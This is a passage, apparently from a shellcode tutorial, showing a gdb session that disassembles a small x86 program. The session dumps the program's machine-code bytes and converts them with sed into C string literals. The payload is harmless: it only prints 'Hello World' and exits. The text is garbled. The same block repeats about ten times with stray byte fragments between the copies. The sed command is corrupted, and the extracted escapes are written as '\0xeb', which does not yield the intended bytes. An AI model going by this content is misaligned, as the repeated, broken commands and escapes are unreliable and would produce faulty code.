0x8048342 +30>:    0x0c    0x00    0x00    0x00    0xcd    0x80    0xb8   0x01
0x804834a +38>:    0x00    0x00    0x00    0xbb    0x00    0x00    0x00   0x00
0x8048352 +46>:    0xcd    0x80    0xe8    0xdb    0xff    0xff    0xff   0x48
0x804835a +6>:  0x65    0x6c    0x6c    0x6f    0x20    0x57    0x6f   0x72
0x8048362 +14>: 0x6c    0x64    0x0a    0x00
(gdb) quit
$ cat gdb.txt | sed -e "s/^.*://g; s/\t/\\\/g; s/^/\"/g; S / \ $/ \ "/ g" # process the content in the log to get such a string
"\0xeb\0x20\0x5e\0xb8\0x04\0x00\0x00\0x00"
"\0xbb\0x02\0x00\0x00\0x00\0x89\0xf1\0xba"
"\0x0c\0x00\0x00\0x00\0xcd\0x80\0xb8\0x01"
"\0x00\0x00\0x00\0xbb\0x00\0x00\0x00\0x00"
"\0xcd\0x80\0xe8\0xdb\0xff\0xff\0xff\0x48"
"\0x65\0x6c\0x6c\0x6f\0x20\0x57\0x6f\0x72"
"\0x6c\0x64\0x0a\0x00"
xdb
$ gcc -g -o shellcode shellcode.c
$ gdb -q ./shellcode
(gdb) disassemble main
Dump of assembler code for function main:
...
0x08048331 +13>:   push   %ecx
0x08048332 +14>:   jmp    0x8048354 >
0x08048334 +16>:   pop    %esi
0x08048335 +17>:   mov    $0x4,%eax
0x0804833a +22>:   mov    $0x2,%ebx
0x0804833f +27>:   mov    %esi,%ecx
0x08048341 +29>:   mov    $0xc,%edx
0x08048346 +34>:   int    $0x80
0x08048348 +36>:   mov    $0x1,%eax
0x0804834d +41>:   mov    $0x0,%ebx
0x08048352 +46>:   int    $0x80
0x08048354 +0>: call   0x8048334 +16>
0x08048359 +5>: dec    %eax
0x0804835a +6>: gs
0x0804835b +7>: insb   (%dx),%es:(%edi)
0x0804835c +8>: insb   (%dx),%es:(%edi)
0x0804835d +9>: outsl  %ds:(%esi),(%dx)
0x0804835e +10>:        and    %dl,0x6f(%edi)
0x08048361 +13>:        jb     0x80483cf +79>
0x08048363 +15>:        or     %fs:(%eax),%al
...
End of assembler dump.
(GDB) set logging on
Copying output to gdb.txt.
(GDB) x / 52bx main + 14 # print out the core code of shellcode in hexadecimal single byte (character) mode
0x8048332 +14>:    0xeb    0x20    0x5e    0xb8    0x04    0x00    0x00   0x00
0x804833a +22>:    0xbb    0x02    0x00    0x00    0x00    0x89    0xf1   0xba
0x8048342 +30>:    0x0c    0x00    0x00    0x00    0xcd    0x80    0xb8   0x01
0x804834a +38>:    0x00    0x00    0x00    0xbb    0x00    0x00    0x00   0x00
0x8048352 +46>:    0xcd    0x80    0xe8    0xdb    0xff    0xff    0xff   0x48
0x804835a +6>:  0x65    0x6c    0x6c    0x6f    0x20    0x57    0x6f   0x72
0x8048362 +14>: 0x6c    0x64    0x0a    0x00
(gdb) quit
$ cat gdb.txt | sed -e "s/^.*://g; s/\t/\\\/g; s/^/\"/g; S / \ $/ \ "/ g" # process the content in the log to get such a string
"\0xeb\0x20\0x5e\0xb8\0x04\0x00\0x00\0x00"
"\0xbb\0x02\0x00\0x00\0x00\0x89\0xf1\0xba"
"\0x0c\0x00\0x00\0x00\0xcd\0x80\0xb8\0x01"
"\0x00\0x00\0x00\0xbb\0x00\0x00\0x00\0x00"
"\0xcd\0x80\0xe8\0xdb\0xff\0xff\0xff\0x48"
"\0x65\0x6c\0x6c\0x6f\0x20\0x57\0x6f\0x72"
"\0x6c\0x64\0x0a\0x00"
xff
$ gcc -g -o shellcode shellcode.c
$ gdb -q ./shellcode
(gdb) disassemble main
Dump of assembler code for function main:
...
0x08048331 +13>:   push   %ecx
0x08048332 +14>:   jmp    0x8048354 >
0x08048334 +16>:   pop    %esi
0x08048335 +17>:   mov    $0x4,%eax
0x0804833a +22>:   mov    $0x2,%ebx
0x0804833f +27>:   mov    %esi,%ecx
0x08048341 +29>:   mov    $0xc,%edx
0x08048346 +34>:   int    $0x80
0x08048348 +36>:   mov    $0x1,%eax
0x0804834d +41>:   mov    $0x0,%ebx
0x08048352 +46>:   int    $0x80
0x08048354 +0>: call   0x8048334 +16>
0x08048359 +5>: dec    %eax
0x0804835a +6>: gs
0x0804835b +7>: insb   (%dx),%es:(%edi)
0x0804835c +8>: insb   (%dx),%es:(%edi)
0x0804835d +9>: outsl  %ds:(%esi),(%dx)
0x0804835e +10>:        and    %dl,0x6f(%edi)
0x08048361 +13>:        jb     0x80483cf +79>
0x08048363 +15>:        or     %fs:(%eax),%al
...
End of assembler dump.
(GDB) set logging on
Copying output to gdb.txt.
(GDB) x / 52bx main + 14 # print out the core code of shellcode in hexadecimal single byte (character) mode
0x8048332 +14>:    0xeb    0x20    0x5e    0xb8    0x04    0x00    0x00   0x00
0x804833a +22>:    0xbb    0x02    0x00    0x00    0x00    0x89    0xf1   0xba
0x8048342 +30>:    0x0c    0x00    0x00    0x00    0xcd    0x80    0xb8   0x01
0x804834a +38>:    0x00    0x00    0x00    0xbb    0x00    0x00    0x00   0x00
0x8048352 +46>:    0xcd    0x80    0xe8    0xdb    0xff    0xff    0xff   0x48
0x804835a +6>:  0x65    0x6c    0x6c    0x6f    0x20    0x57    0x6f   0x72
0x8048362 +14>: 0x6c    0x64    0x0a    0x00
(gdb) quit
$ cat gdb.txt | sed -e "s/^.*://g; s/\t/\\\/g; s/^/\"/g; S / \ $/ \ "/ g" # process the content in the log to get such a string
"\0xeb\0x20\0x5e\0xb8\0x04\0x00\0x00\0x00"
"\0xbb\0x02\0x00\0x00\0x00\0x89\0xf1\0xba"
"\0x0c\0x00\0x00\0x00\0xcd\0x80\0xb8\0x01"
"\0x00\0x00\0x00\0xbb\0x00\0x00\0x00\0x00"
"\0xcd\0x80\0xe8\0xdb\0xff\0xff\0xff\0x48"
"\0x65\0x6c\0x6c\0x6f\0x20\0x57\0x6f\0x72"
"\0x6c\0x64\0x0a\0x00"
xff
$ gcc -g -o shellcode shellcode.c
$ gdb -q ./shellcode
(gdb) disassemble main
Dump of assembler code for function main:
...
0x08048331 +13>:   push   %ecx
0x08048332 +14>:   jmp    0x8048354 >
0x08048334 +16>:   pop    %esi
0x08048335 +17>:   mov    $0x4,%eax
0x0804833a +22>:   mov    $0x2,%ebx
0x0804833f +27>:   mov    %esi,%ecx
0x08048341 +29>:   mov    $0xc,%edx
0x08048346 +34>:   int    $0x80
0x08048348 +36>:   mov    $0x1,%eax
0x0804834d +41>:   mov    $0x0,%ebx
0x08048352 +46>:   int    $0x80
0x08048354 +0>: call   0x8048334 +16>
0x08048359 +5>: dec    %eax
0x0804835a +6>: gs
0x0804835b +7>: insb   (%dx),%es:(%edi)
0x0804835c +8>: insb   (%dx),%es:(%edi)
0x0804835d +9>: outsl  %ds:(%esi),(%dx)
0x0804835e +10>:        and    %dl,0x6f(%edi)
0x08048361 +13>:        jb     0x80483cf +79>
0x08048363 +15>:        or     %fs:(%eax),%al
...
End of assembler dump.
(GDB) set logging on
Copying output to gdb.txt.
(GDB) x / 52bx main + 14 # print out the core code of shellcode in hexadecimal single byte (character) mode
0x8048332 +14>:    0xeb    0x20    0x5e    0xb8    0x04    0x00    0x00   0x00
0x804833a +22>:    0xbb    0x02    0x00    0x00    0x00    0x89    0xf1   0xba
0x8048342 +30>:    0x0c    0x00    0x00    0x00    0xcd    0x80    0xb8   0x01
0x804834a +38>:    0x00    0x00    0x00    0xbb    0x00    0x00    0x00   0x00
0x8048352 +46>:    0xcd    0x80    0xe8    0xdb    0xff    0xff    0xff   0x48
0x804835a +6>:  0x65    0x6c    0x6c    0x6f    0x20    0x57    0x6f   0x72
0x8048362 +14>: 0x6c    0x64    0x0a    0x00
(gdb) quit
$ cat gdb.txt | sed -e "s/^.*://g; s/\t/\\\/g; s/^/\"/g; S / \ $/ \ "/ g" # process the content in the log to get such a string
"\0xeb\0x20\0x5e\0xb8\0x04\0x00\0x00\0x00"
"\0xbb\0x02\0x00\0x00\0x00\0x89\0xf1\0xba"
"\0x0c\0x00\0x00\0x00\0xcd\0x80\0xb8\0x01"
"\0x00\0x00\0x00\0xbb\0x00\0x00\0x00\0x00"
"\0xcd\0x80\0xe8\0xdb\0xff\0xff\0xff\0x48"
"\0x65\0x6c\0x6c\0x6f\0x20\0x57\0x6f\0x72"
"\0x6c\0x64\0x0a\0x00"
xff
$ gcc -g -o shellcode shellcode.c
$ gdb -q ./shellcode
(gdb) disassemble main
Dump of assembler code for function main:
...
0x08048331 +13>:   push   %ecx
0x08048332 +14>:   jmp    0x8048354 >
0x08048334 +16>:   pop    %esi
0x08048335 +17>:   mov    $0x4,%eax
0x0804833a +22>:   mov    $0x2,%ebx
0x0804833f +27>:   mov    %esi,%ecx
0x08048341 +29>:   mov    $0xc,%edx
0x08048346 +34>:   int    $0x80
0x08048348 +36>:   mov    $0x1,%eax
0x0804834d +41>:   mov    $0x0,%ebx
0x08048352 +46>:   int    $0x80
0x08048354 +0>: call   0x8048334 +16>
0x08048359 +5>: dec    %eax
0x0804835a +6>: gs
0x0804835b +7>: insb   (%dx),%es:(%edi)
0x0804835c +8>: insb   (%dx),%es:(%edi)
0x0804835d +9>: outsl  %ds:(%esi),(%dx)
0x0804835e +10>:        and    %dl,0x6f(%edi)
0x08048361 +13>:        jb     0x80483cf +79>
0x08048363 +15>:        or     %fs:(%eax),%al
...
End of assembler dump.
(GDB) set logging on
Copying output to gdb.txt.
(GDB) x / 52bx main + 14 # print out the core code of shellcode in hexadecimal single byte (character) mode
0x8048332 +14>:    0xeb    0x20    0x5e    0xb8    0x04    0x00    0x00   0x00
0x804833a +22>:    0xbb    0x02    0x00    0x00    0x00    0x89    0xf1   0xba
0x8048342 +30>:    0x0c    0x00    0x00    0x00    0xcd    0x80    0xb8   0x01
0x804834a +38>:    0x00    0x00    0x00    0xbb    0x00    0x00    0x00   0x00
0x8048352 +46>:    0xcd    0x80    0xe8    0xdb    0xff    0xff    0xff   0x48
0x804835a +6>:  0x65    0x6c    0x6c    0x6f    0x20    0x57    0x6f   0x72
0x8048362 +14>: 0x6c    0x64    0x0a    0x00
(gdb) quit
$ cat gdb.txt | sed -e "s/^.*://g; s/\t/\\\/g; s/^/\"/g; S / \ $/ \ "/ g" # process the content in the log to get such a string
"\0xeb\0x20\0x5e\0xb8\0x04\0x00\0x00\0x00"
"\0xbb\0x02\0x00\0x00\0x00\0x89\0xf1\0xba"
"\0x0c\0x00\0x00\0x00\0xcd\0x80\0xb8\0x01"
"\0x00\0x00\0x00\0xbb\0x00\0x00\0x00\0x00"
"\0xcd\0x80\0xe8\0xdb\0xff\0xff\0xff\0x48"
"\0x65\0x6c\0x6c\0x6f\0x20\0x57\0x6f\0x72"
"\0x6c\0x64\0x0a\0x00"
x48" "
$ gcc -g -o shellcode shellcode.c
$ gdb -q ./shellcode
(gdb) disassemble main
Dump of assembler code for function main:
...
0x08048331 +13>:   push   %ecx
0x08048332 +14>:   jmp    0x8048354 >
0x08048334 +16>:   pop    %esi
0x08048335 +17>:   mov    $0x4,%eax
0x0804833a +22>:   mov    $0x2,%ebx
0x0804833f +27>:   mov    %esi,%ecx
0x08048341 +29>:   mov    $0xc,%edx
0x08048346 +34>:   int    $0x80
0x08048348 +36>:   mov    $0x1,%eax
0x0804834d +41>:   mov    $0x0,%ebx
0x08048352 +46>:   int    $0x80
0x08048354 +0>: call   0x8048334 +16>
0x08048359 +5>: dec    %eax
0x0804835a +6>: gs
0x0804835b +7>: insb   (%dx),%es:(%edi)
0x0804835c +8>: insb   (%dx),%es:(%edi)
0x0804835d +9>: outsl  %ds:(%esi),(%dx)
0x0804835e +10>:        and    %dl,0x6f(%edi)
0x08048361 +13>:        jb     0x80483cf +79>
0x08048363 +15>:        or     %fs:(%eax),%al
...
End of assembler dump.
(GDB) set logging on
Copying output to gdb.txt.
(GDB) x / 52bx main + 14 # print out the core code of shellcode in hexadecimal single byte (character) mode
0x8048332 +14>:    0xeb    0x20    0x5e    0xb8    0x04    0x00    0x00   0x00
0x804833a +22>:    0xbb    0x02    0x00    0x00    0x00    0x89    0xf1   0xba
0x8048342 +30>:    0x0c    0x00    0x00    0x00    0xcd    0x80    0xb8   0x01
0x804834a +38>:    0x00    0x00    0x00    0xbb    0x00    0x00    0x00   0x00
0x8048352 +46>:    0xcd    0x80    0xe8    0xdb    0xff    0xff    0xff   0x48
0x804835a +6>:  0x65    0x6c    0x6c    0x6f    0x20    0x57    0x6f   0x72
0x8048362 +14>: 0x6c    0x64    0x0a    0x00
(gdb) quit
$ cat gdb.txt | sed -e "s/^.*://g; s/\t/\\\/g; s/^/\"/g; S / \ $/ \ "/ g" # process the content in the log to get such a string
"\0xeb\0x20\0x5e\0xb8\0x04\0x00\0x00\0x00"
"\0xbb\0x02\0x00\0x00\0x00\0x89\0xf1\0xba"
"\0x0c\0x00\0x00\0x00\0xcd\0x80\0xb8\0x01"
"\0x00\0x00\0x00\0xbb\0x00\0x00\0x00\0x00"
"\0xcd\0x80\0xe8\0xdb\0xff\0xff\0xff\0x48"
"\0x65\0x6c\0x6c\0x6f\0x20\0x57\0x6f\0x72"
"\0x6c\0x64\0x0a\0x00"
x65
$ gcc -g -o shellcode shellcode.c
$ gdb -q ./shellcode
(gdb) disassemble main
Dump of assembler code for function main:
...
0x08048331 +13>:   push   %ecx
0x08048332 +14>:   jmp    0x8048354 >
0x08048334 +16>:   pop    %esi
0x08048335 +17>:   mov    $0x4,%eax
0x0804833a +22>:   mov    $0x2,%ebx
0x0804833f +27>:   mov    %esi,%ecx
0x08048341 +29>:   mov    $0xc,%edx
0x08048346 +34>:   int    $0x80
0x08048348 +36>:   mov    $0x1,%eax
0x0804834d +41>:   mov    $0x0,%ebx
0x08048352 +46>:   int    $0x80
0x08048354 +0>: call   0x8048334 +16>
0x08048359 +5>: dec    %eax
0x0804835a +6>: gs
0x0804835b +7>: insb   (%dx),%es:(%edi)
0x0804835c +8>: insb   (%dx),%es:(%edi)
0x0804835d +9>: outsl  %ds:(%esi),(%dx)
0x0804835e +10>:        and    %dl,0x6f(%edi)
0x08048361 +13>:        jb     0x80483cf +79>
0x08048363 +15>:        or     %fs:(%eax),%al
...
End of assembler dump.
(GDB) set logging on
Copying output to gdb.txt.
(GDB) x / 52bx main + 14 # print out the core code of shellcode in hexadecimal single byte (character) mode
0x8048332 +14>:    0xeb    0x20    0x5e    0xb8    0x04    0x00    0x00   0x00
0x804833a +22>:    0xbb    0x02    0x00    0x00    0x00    0x89    0xf1   0xba
0x8048342 +30>:    0x0c    0x00    0x00    0x00    0xcd    0x80    0xb8   0x01
0x804834a +38>:    0x00    0x00    0x00    0xbb    0x00    0x00    0x00   0x00
0x8048352 +46>:    0xcd    0x80    0xe8    0xdb    0xff    0xff    0xff   0x48
0x804835a +6>:  0x65    0x6c    0x6c    0x6f    0x20    0x57    0x6f   0x72
0x8048362 +14>: 0x6c    0x64    0x0a    0x00
(gdb) quit
$ cat gdb.txt | sed -e "s/^.*://g; s/\t/\\\/g; s/^/\"/g; S / \ $/ \ "/ g" # process the content in the log to get such a string
"\0xeb\0x20\0x5e\0xb8\0x04\0x00\0x00\0x00"
"\0xbb\0x02\0x00\0x00\0x00\0x89\0xf1\0xba"
"\0x0c\0x00\0x00\0x00\0xcd\0x80\0xb8\0x01"
"\0x00\0x00\0x00\0xbb\0x00\0x00\0x00\0x00"
"\0xcd\0x80\0xe8\0xdb\0xff\0xff\0xff\0x48"
"\0x65\0x6c\0x6c\0x6f\0x20\0x57\0x6f\0x72"
"\0x6c\0x64\0x0a\0x00"
x6c
$ gcc -g -o shellcode shellcode.c
$ gdb -q ./shellcode
(gdb) disassemble main
Dump of assembler code for function main:
...
0x08048331 +13>:   push   %ecx
0x08048332 +14>:   jmp    0x8048354 >
0x08048334 +16>:   pop    %esi
0x08048335 +17>:   mov    $0x4,%eax
0x0804833a +22>:   mov    $0x2,%ebx
0x0804833f +27>:   mov    %esi,%ecx
0x08048341 +29>:   mov    $0xc,%edx
0x08048346 +34>:   int    $0x80
0x08048348 +36>:   mov    $0x1,%eax
0x0804834d +41>:   mov    $0x0,%ebx
0x08048352 +46>:   int    $0x80
0x08048354 +0>: call   0x8048334 +16>
0x08048359 +5>: dec    %eax
0x0804835a +6>: gs
0x0804835b +7>: insb   (%dx),%es:(%edi)
0x0804835c +8>: insb   (%dx),%es:(%edi)
0x0804835d +9>: outsl  %ds:(%esi),(%dx)
0x0804835e +10>:        and    %dl,0x6f(%edi)
0x08048361 +13>:        jb     0x80483cf +79>
0x08048363 +15>:        or     %fs:(%eax),%al
...
End of assembler dump.
(GDB) set logging on
Copying output to gdb.txt.
(GDB) x / 52bx main + 14 # print out the core code of shellcode in hexadecimal single byte (character) mode
0x8048332 +14>:    0xeb    0x20    0x5e    0xb8    0x04    0x00    0x00   0x00
0x804833a +22>:    0xbb    0x02    0x00    0x00    0x00    0x89    0xf1   0xba
0x8048342 +30>:    0x0c    0x00    0x00    0x00    0xcd    0x80    0xb8   0x01
0x804834a +38>:    0x00    0x00    0x00    0xbb    0x00    0x00    0x00   0x00
0x8048352 +46>:    0xcd    0x80    0xe8    0xdb    0xff    0xff    0xff   0x48
0x804835a +6>:  0x65    0x6c    0x6c    0x6f    0x20    0x57    0x6f   0x72
0x8048362 +14>: 0x6c    0x64    0x0a    0x00
(gdb) quit
$ cat gdb.txt | sed -e "s/^.*://g; s/\t/\\\/g; s/^/\"/g; S / \ $/ \ "/ g" # process the content in the log to get such a string
"\0xeb\0x20\0x5e\0xb8\0x04\0x00\0x00\0x00"
"\0xbb\0x02\0x00\0x00\0x00\0x89\0xf1\0xba"
"\0x0c\0x00\0x00\0x00\0xcd\0x80\0xb8\0x01"
"\0x00\0x00\0x00\0xbb\0x00\0x00\0x00\0x00"
"\0xcd\0x80\0xe8\0xdb\0xff\0xff\0xff\0x48"
"\0x65\0x6c\0x6c\0x6f\0x20\0x57\0x6f\0x72"
"\0x6c\0x64\0x0a\0x00"
x6c
$ gcc -g -o shellcode shellcode.c
$ gdb -q ./shellcode
(gdb) disassemble main
Dump of assembler code for function main:
...
0x08048331 +13>:   push   %ecx
0x08048332 +14>:   jmp    0x8048354 >
0x08048334 +16>:   pop    %esi
0x08048335 +17>:   mov    $0x4,%eax
0x0804833a +22>:   mov    $0x2,%ebx
0x0804833f +27>:   mov    %esi,%ecx
0x08048341 +29>:   mov    $0xc,%edx
0x08048346 +34>:   int    $0x80
0x08048348 +36>:   mov    $0x1,%eax
0x0804834d +41>:   mov    $0x0,%ebx
0x08048352 +46>:   int    $0x80
0x08048354 +0>: call   0x8048334 +16>
0x08048359 +5>: dec    %eax
0x0804835a +6>: gs
0x0804835b +7>: insb   (%dx),%es:(%edi)
0x0804835c +8>: insb   (%dx),%es:(%edi)
0x0804835d +9>: outsl  %ds:(%esi),(%dx)
0x0804835e +10>:        and    %dl,0x6f(%edi)
0x08048361 +13>:        jb     0x80483cf +79>
0x08048363 +15>:        or     %fs:(%eax),%al
...
End of assembler dump.
(GDB) set logging on
Copying output to gdb.txt.
(GDB) x / 52bx main + 14 # print out the core code of shellcode in hexadecimal single byte (character) mode
0x8048332 +14>:    0xeb    0x20    0x5e    0xb8    0x04    0x00    0x00   0x00
0x804833a +22>:    0xbb    0x02    0x00    0x00    0x00    0x89    0xf1   0xba
0x8048342 +30>:    0x0c    0x00    0x00    0x00    0xcd    0x80    0xb8   0x01
0x804834a +38>:    0x00    0x00    0x00    0xbb    0x00    0x00    0x00   0x00
0x8048352 +46>:    0xcd    0x80    0xe8    0xdb    0xff    0xff    0xff   0x48
0x804835a +6>:  0x65    0x6c    0x6c    0x6f    0x20    0x57    0x6f   0x72
0x8048362 +14>: 0x6c    0x64    0x0a    0x00
(gdb) quit
$ cat gdb.txt | sed -e "s/^.*://g; s/\t/\\\/g; s/^/\"/g; S / \ $/ \ "/ g" # process the content in the log to get such a string
"\0xeb\0x20\0x5e\0xb8\0x04\0x00\0x00\0x00"
"\0xbb\0x02\0x00\0x00\0x00\0x89\0xf1\0xba"
"\0x0c\0x00\0x00\0x00\0xcd\0x80\0xb8\0x01"
"\0x00\0x00\0x00\0xbb\0x00\0x00\0x00\0x00"
"\0xcd\0x80\0xe8\0xdb\0xff\0xff\0xff\0x48"
"\0x65\0x6c\0x6c\0x6f\0x20\0x57\0x6f\0x72"
"\0x6c\0x64\0x0a\0x00"
x6f
$ gcc -g -o shellcode shellcode.c
$ gdb -q ./shellcode
(gdb) disassemble main
Dump of assembler code for function main:
...
0x08048331 +13>:   push   %ecx
0x08048332 +14>:   jmp    0x8048354 >
0x08048334 +16>:   pop    %esi
0x08048335 +17>:   mov    $0x4,%eax
0x0804833a +22>:   mov    $0x2,%ebx
0x0804833f +27>:   mov    %esi,%ecx
0x08048341 +29>:   mov    $0xc,%edx
0x08048346 +34>:   int    $0x80
0x08048348 +36>:   mov    $0x1,%eax
0x0804834d +41>:   mov    $0x0,%ebx
0x08048352 +46>:   int    $0x80
0x08048354 +0>: call   0x8048334 +16>
0x08048359 +5>: dec    %eax
0x0804835a +6>: gs
0x0804835b +7>: insb   (%dx),%es:(%edi)
0x0804835c +8>: insb   (%dx),%es:(%edi)
0x0804835d +9>: outsl  %ds:(%esi),(%dx)
0x0804835e +10>:        and    %dl,0x6f(%edi)
0x08048361 +13>:        jb     0x80483cf +79>
0x08048363 +15>:        or     %fs:(%eax),%al
...
End of assembler dump.
(GDB) set logging on
Copying output to gdb.txt.
(GDB) x / 52bx main + 14 # print out the core code of shellcode in hexadecimal single byte (character) mode
0x8048332 +14>:    0xeb    0x20    0x5e    0xb8    0x04    0x00    0x00   0x00
0x804833a +22>:    0xbb    0x02    0x00    0x00    0x00    0x89    0xf1   0xba
0x8048342 +30>:    0x0c    0x00    0x00    0x00    0xcd    0x80    0xb8   0x01
0x804834a +38>:    0x00    0x00    0x00    0xbb    0x00    0x00    0x00   0x00
0x8048352 +46>:    0xcd    0x80    0xe8    0xdb    0xff    0xff    0xff   0x48
0x804835a +6>:  0x65    0x6c    0x6c    0x6f    0x20    0x57    0x6f   0x72
0x8048362 +14>: 0x6c    0x64    0x0a    0x00
(gdb) quit
$ cat gdb.txt | sed -e "s/^.*://g; s/\t/\\\/g; s/^/\"/g; S / \ $/ \ "/ g" # process the content in the log to get such a string
"\0xeb\0x20\0x5e\0xb8\0x04\0x00\0x00\0x00"
"\0xbb\0x02\0x00\0x00\0x00\0x89\0xf1\0xba"
"\0x0c\0x00\0x00\0x00\0xcd\0x80\0xb8\0x01"
"\0x00\0x00\0x00\0xbb\0x00\0x00\0x00\0x00"
"\0xcd\0x80\0xe8\0xdb\0xff\0xff\0xff\0x48"
"\0x65\0x6c\0x6c\0x6f\0x20\0x57\0x6f\0x72"
"\0x6c\0x64\0x0a\0x00"
x20
$ gcc -g -o shellcode shellcode.c
$ gdb -q ./shellcode
(gdb) disassemble main
Dump of assembler code for function main:
...
0x08048331 +13>:   push   %ecx
0x08048332 +14>:   jmp    0x8048354 >
0x08048334 +16>:   pop    %esi
0x08048335 +17>:   mov    $0x4,%eax
0x0804833a +22>:   mov    $0x2,%ebx
0x0804833f +27>:   mov    %esi,%ecx
0x08048341 +29>:   mov    $0xc,%edx
0x08048346 +34>:   int    $0x80
0x08048348 +36>:   mov    $0x1,%eax
0x0804834d +41>:   mov    $0x0,%ebx
0x08048352 +46>:   int    $0x80
0x08048354 +0>: call   0x8048334 +16>
0x08048359 +5>: dec    %eax
0x0804835a +6>: gs
0x0804835b +7>: insb   (%dx),%es:(%edi)
0x0804835c +8>: insb   (%dx),%es:(%edi)
0x0804835d +9>: outsl  %ds:(%esi),(%dx)
0x0804835e +10>:        and    %dl,0x6f(%edi)
0x08048361 +13>:        jb     0x80483cf +79>
0x08048363 +15>:        or     %fs:(%eax),%al
...
End of assembler dump.
(GDB) set logging on
Copying output to gdb.txt.
(GDB) x / 52bx main + 14 # print out the core code of shellcode in hexadecimal single byte (character) mode
0x8048332 +14>:    0xeb    0x20    0x5e    0xb8    0x04    0x00    0x00   0x00
0x804833a +22>:    0xbb    0x02    0x00    0x00    0x00    0x89    0xf1   0xba
0x8048342 +30>:    0x0c    0x00    0x00    0x00    0xcd    0x80    0xb8   0x01
0x804834a +38>:    0x00    0x00    0x00    0xbb    0x00    0x00    0x00   0x00
0x8048352 +46>:    0xcd    0x80    0xe8    0xdb    0xff    0xff    0xff   0x48
0x804835a +6>:  0x65    0x6c    0x6c    0x6f    0x20    0x57    0x6f   0x72
0x8048362 +14>: 0x6c    0x64    0x0a    0x00
(gdb) quit
$ cat gdb.txt | sed -e "s/^.*://g; s/\t/\\\/g; s/^/\"/g; S / \ $/ \ "/ g" # process the content in the log to get such a string
"\0xeb\0x20\0x5e\0xb8\0x04\0x00\0x00\0x00"
"\0xbb\0x02\0x00\0x00\0x00\0x89\0xf1\0xba"
"\0x0c\0x00\0x00\0x00\0xcd\0x80\0xb8\0x01"
"\0x00\0x00\0x00\0xbb\0x00\0x00\0x00\0x00"
"\0xcd\0x80\0xe8\0xdb\0xff\0xff\0xff\0x48"
"\0x65\0x6c\0x6c\0x6f\0x20\0x57\0x6f\0x72"
"\0x6c\0x64\0x0a\0x00"
x57
$ gcc -g -o shellcode shellcode.c
$ gdb -q ./shellcode
(gdb) disassemble main
Dump of assembler code for function main:
...
0x08048331 +13>:   push   %ecx
0x08048332 +14>:   jmp    0x8048354 >
0x08048334 +16>:   pop    %esi
0x08048335 +17>:   mov    $0x4,%eax
0x0804833a +22>:   mov    $0x2,%ebx
0x0804833f +27>:   mov    %esi,%ecx
0x08048341 +29>:   mov    $0xc,%edx
0x08048346 +34>:   int    $0x80
0x08048348 +36>:   mov    $0x1,%eax
0x0804834d +41>:   mov    $0x0,%ebx
0x08048352 +46>:   int    $0x80
0x08048354 +0>: call   0x8048334 +16>
0x08048359 +5>: dec    %eax
0x0804835a +6>: gs
0x0804835b +7>: insb   (%dx),%es:(%edi)
0x0804835c +8>: insb   (%dx),%es:(%edi)
0x0804835d +9>: outsl  %ds:(%esi),(%dx)
0x0804835e +10>:        and    %dl,0x6f(%edi)
0x08048361 +13>:        jb     0x80483cf +79>
0x08048363 +15>:        or     %fs:(%eax),%al
...
End of assembler dump.
(GDB) set logging on
Copying output to gdb.txt.
(GDB) x / 52bx main + 14 # print out the core code of shellcode in hexadecimal single byte (character) mode
0x8048332 +14>:    0xeb    0x20    0x5e    0xb8    0x04    0x00    0x00   0x00
0x804833a +22>:    0xbb    0x02    0x00    0x00    0x00    0x89    0xf1   0xba
0x8048342 +30>:    0x0c    0x00    0x00    0x00    0xcd    0x80    0xb8   0x01
0x804834a +38>:    0x00    0x00    0x00    0xbb    0x00    0x00    0x00   0x00
0x8048352 +46>:    0xcd    0x80    0xe8    0xdb    0xff    0xff    0xff   0x48
0x804835a +6>:  0x65    0x6c    0x6c    0x6f    0x20    0x57    0x6f   0x72
0x8048362 +14>: 0x6c    0x64    0x0a    0x00
(gdb) quit
$ cat gdb.txt | sed -e "s/^.*://g; s/\t/\\\/g; s/^/\"/g; S / \ $/ \ "/ g" # process the content in the log to get such a string
"\0xeb\0x20\0x5e\0xb8\0x04\0x00\0x00\0x00"
"\0xbb\0x02\0x00\0x00\0x00\0x89\0xf1\0xba"
"\0x0c\0x00\0x00\0x00\0xcd\0x80\0xb8\0x01"
"\0x00\0x00\0x00\0xbb\0x00\0x00\0x00\0x00"
"\0xcd\0x80\0xe8\0xdb\0xff\0xff\0xff\0x48"
"\0x65\0x6c\0x6c\0x6f\0x20\0x57\0x6f\0x72"
"\0x6c\0x64\0x0a\0x00"
x6f
$ gcc -g -o shellcode shellcode.c
$ gdb -q ./shellcode
(gdb) disassemble main
Dump of assembler code for function main:
...
0x08048331 +13>:   push   %ecx
0x08048332 +14>:   jmp    0x8048354 >
0x08048334 +16>:   pop    %esi
0x08048335 +17>:   mov    $0x4,%eax
0x0804833a +22>:   mov    $0x2,%ebx
0x0804833f +27>:   mov    %esi,%ecx
0x08048341 +29>:   mov    $0xc,%edx
0x08048346 +34>:   int    $0x80
0x08048348 +36>:   mov    $0x1,%eax
0x0804834d +41>:   mov    $0x0,%ebx
0x08048352 +46>:   int    $0x80
0x08048354 +0>: call   0x8048334 +16>
0x08048359 +5>: dec    %eax
0x0804835a +6>: gs
0x0804835b +7>: insb   (%dx),%es:(%edi)
0x0804835c +8>: insb   (%dx),%es:(%edi)
0x0804835d +9>: outsl  %ds:(%esi),(%dx)
0x0804835e +10>:        and    %dl,0x6f(%edi)
0x08048361 +13>:        jb     0x80483cf +79>
0x08048363 +15>:        or     %fs:(%eax),%al
...
End of assembler dump.
(GDB) set logging on
Copying output to gdb.txt.
(GDB) x / 52bx main + 14 # print out the core code of shellcode in hexadecimal single byte (character) mode
0x8048332 +14>:    0xeb    0x20    0x5e    0xb8    0x04    0x00    0x00   0x00
0x804833a +22>:    0xbb    0x02    0x00    0x00    0x00    0x89    0xf1   0xba
0x8048342 +30>:    0x0c    0x00    0x00    0x00    0xcd    0x80    0xb8   0x01
0x804834a +38>:    0x00    0x00    0x00    0xbb    0x00    0x00    0x00   0x00
0x8048352 +46>:    0xcd    0x80    0xe8    0xdb    0xff    0xff    0xff   0x48
0x804835a +6>:  0x65    0x6c    0x6c    0x6f    0x20    0x57    0x6f   0x72
0x8048362 +14>: 0x6c    0x64    0x0a    0x00
(gdb) quit
$ cat gdb.txt | sed -e "s/^.*://g; s/\t/\\\/g; s/^/\"/g; S / \ $/ \ "/ g" # process the content in the log to get such a string
"\0xeb\0x20\0x5e\0xb8\0x04\0x00\0x00\0x00"
"\0xbb\0x02\0x00\0x00\0x00\0x89\0xf1\0xba"
"\0x0c\0x00\0x00\0x00\0xcd\0x80\0xb8\0x01"
"\0x00\0x00\0x00\0xbb\0x00\0x00\0x00\0x00"
